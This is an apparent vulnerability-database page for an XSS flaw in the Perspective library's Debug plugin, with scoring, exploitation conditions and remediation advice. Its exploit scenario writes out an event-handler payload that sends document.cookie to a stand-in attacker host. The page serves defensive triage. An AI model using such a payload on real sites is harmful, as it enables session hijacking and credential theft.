Skip to main content

Perspective EUVDEUVD-2026-52693

| CVE-2026-67196 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-04 VulnCheck GHSA-4hrp-pjm9-fv3q
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege account
  2. Delivery
    Write crafted HTML payload into table cell data
  3. Exploit
    Victim opens Debug plugin view
  4. Execution
    Unescaped innerHTML assignment executes payload
  5. Persist
    Script runs in embedding page origin
  6. Impact
    Exfiltrate session tokens or manipulate DOM

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Debug plugin must be enabled and accessible to the attacker's victim within the deployed Perspective application - this is a non-default production configuration since the Debug plugin is a development/diagnostic component. The attacker requires low-privilege authenticated access (PR:L per CVSS 4.0) sufficient to write or influence table cell values that the Debug plugin will render. A victim user with access to the Debug plugin view must passively interact with the component (UI:P) - viewing the table output is sufficient to trigger execution, no additional click required once the page loads. Exploitation is limited by: (1) requirement for attacker write access to table data, (2) requirement for a victim to view the Debug plugin output, (3) the Debug plugin being present in the production build and accessible to users. Applications that exclude the Debug plugin from production builds or restrict it to administrator-only access are not exploitable under normal conditions.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N, score 5.1) correctly captures the attack shape: network-reachable, low complexity, low privileges needed, passive user interaction required, with impact limited to the subsequent (embedding) system's integrity and confidentiality at low severity. The PR:L metric is critical - exploitation requires the attacker to have write access to table data surfaced in the Debug plugin, which in most deployments means an authenticated session or a role that can submit data. The UI:P (passive interaction) requirement means a victim user must view the Debug plugin output, not just visit the application. No EPSS data was provided; no KEV listing exists, indicating no confirmed widespread exploitation. However, a public proof-of-concept is confirmed (christbowel.com blog), which meaningfully narrows the skill bar for exploitation. Real-world risk is moderate for applications that expose the Debug plugin to untrusted users or untrusted data sources. Organizations that restrict the Debug plugin to internal/admin use only face substantially lower risk. The absence of direct system impact (VC:N/VI:N/VA:N) reflects that the primary damage is session hijacking, credential theft, or DOM-based defacement of the embedding page - not server-side compromise.

Exploit ScenarioDerived

An attacker with a low-privilege account in a Perspective-based analytics application submits a table row containing an HTML payload such as a cell value with an unquoted event handler attribute (e.g., a string that becomes an injected attribute like onmouseover=fetch('https://attacker.tld/?c='+document.cookie)) via the application's normal data input path. When an analyst or administrator opens the Debug plugin view to inspect table contents, the cell value is written to innerHTML without escaping, causing the payload to execute in the analyst's browser session at the embedding page's origin, enabling session token theft or further DOM manipulation. A public proof-of-concept demonstrating this technique is available at christbowel.com, reducing the skill requirement for exploitation.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Cross-site scripting in Perspective 5.0.0's built-in Debug plugin enables an authenticated attacker with low privileges to inject arbitrary HTML and JavaScript into the embedding page's origin by writing crafted table cell values that bypass RFC 4180 quoting. The Debug plugin's CSV serialization renderer assigns table cell content directly to innerHTML without sanitization, meaning event handler attributes and unquoted injection payloads execute as script in any page embedding the component. A publicly available proof-of-concept exists; the vulnerability is not listed in CISA KEV, but the low attack complexity and available exploit code elevate practical risk above the moderate CVSS 4.0 score of 5.1.

RemediationAI

Consult the VulnCheck advisory at https://www.vulncheck.com/advisories/perspective-xss-via-debug-plugin-innerhtml-interpolation and the researcher's multi-CVE disclosure at https://christbowel.com/blog/perspective-5-0-0-five-cves/ to identify the exact patched release; no specific fix version is independently confirmed in the available data, so treat this as 'patch available per vendor disclosure - verify version with perspective-dev release notes.' As an immediate compensating control, disable or restrict access to the Debug plugin in production deployments, as the plugin's intended use is debugging rather than end-user functionality - removing it from the exposed build eliminates the attack surface entirely with no functional impact to normal users. Where disabling is not feasible, restrict the Debug plugin to trusted internal users only and ensure untrusted data cannot populate tables rendered by the Debug plugin. Content Security Policy headers restricting inline script execution (script-src without 'unsafe-inline') will limit but not eliminate XSS impact, as event handler attributes may still fire depending on CSP policy strictness.

Affected VersionsENISA

perspective 0 ≤5.0.0

Affected Packages

euvd perspective no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Perspective (CPE: cpe:2.3:a:perspective-dev:perspective:*:*:*:*:*:*:*:*) is a high-performance streaming analytics and data visualization library targeting browser and Node.js environments. The vulnerable component is the built-in Debug plugin, which serializes tabular data to CSV for display. During rendering, cell values are interpolated directly into innerHTML rather than through safe DOM APIs such as textContent or a sanitizer, constituting a stored or reflected DOM-based XSS (CWE-79: Improper Neutralization of Input During Web Page Generation). The quoting logic follows RFC 4180 for commas and double-quotes but never escapes angle brackets or HTML attribute syntax, allowing payloads such as unquoted event handler attributes (e.g., onmouseover=alert(1)) to survive CSV tokenization and be parsed as live HTML. Because the injection lands in the embedding page's context rather than an isolated frame, the scope change noted in the CVSS vector is accurate - script executes with the full origin privileges of the host application.

Know when Perspective gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L because table write access is required; UI:R for victim to view Debug output; S:C because script executes in the embedding page origin; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Perspective 5.0.0 contains a cross-site scripting vulnerability in the built-in Debug plugin that allows attackers to inject arbitrary HTML and JavaScript by writing table cell values containing unescaped HTML markup, which are interpolated directly into innerHTML during CSV serialization rendering. Attackers can craft table rows with payloads such as unquoted attribute injections containing event handler attributes that bypass RFC 4180 quoting, since angle brackets and event handler attributes are never escaped before assignment, causing malicious scripts to execute in the embedding page's origin.

Threat Intelligence Overview

EPSS Score
0.1%
Top 95% exploitable
Prevalence
Medium
popular open-source data viz library, common in fintech and analytics
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy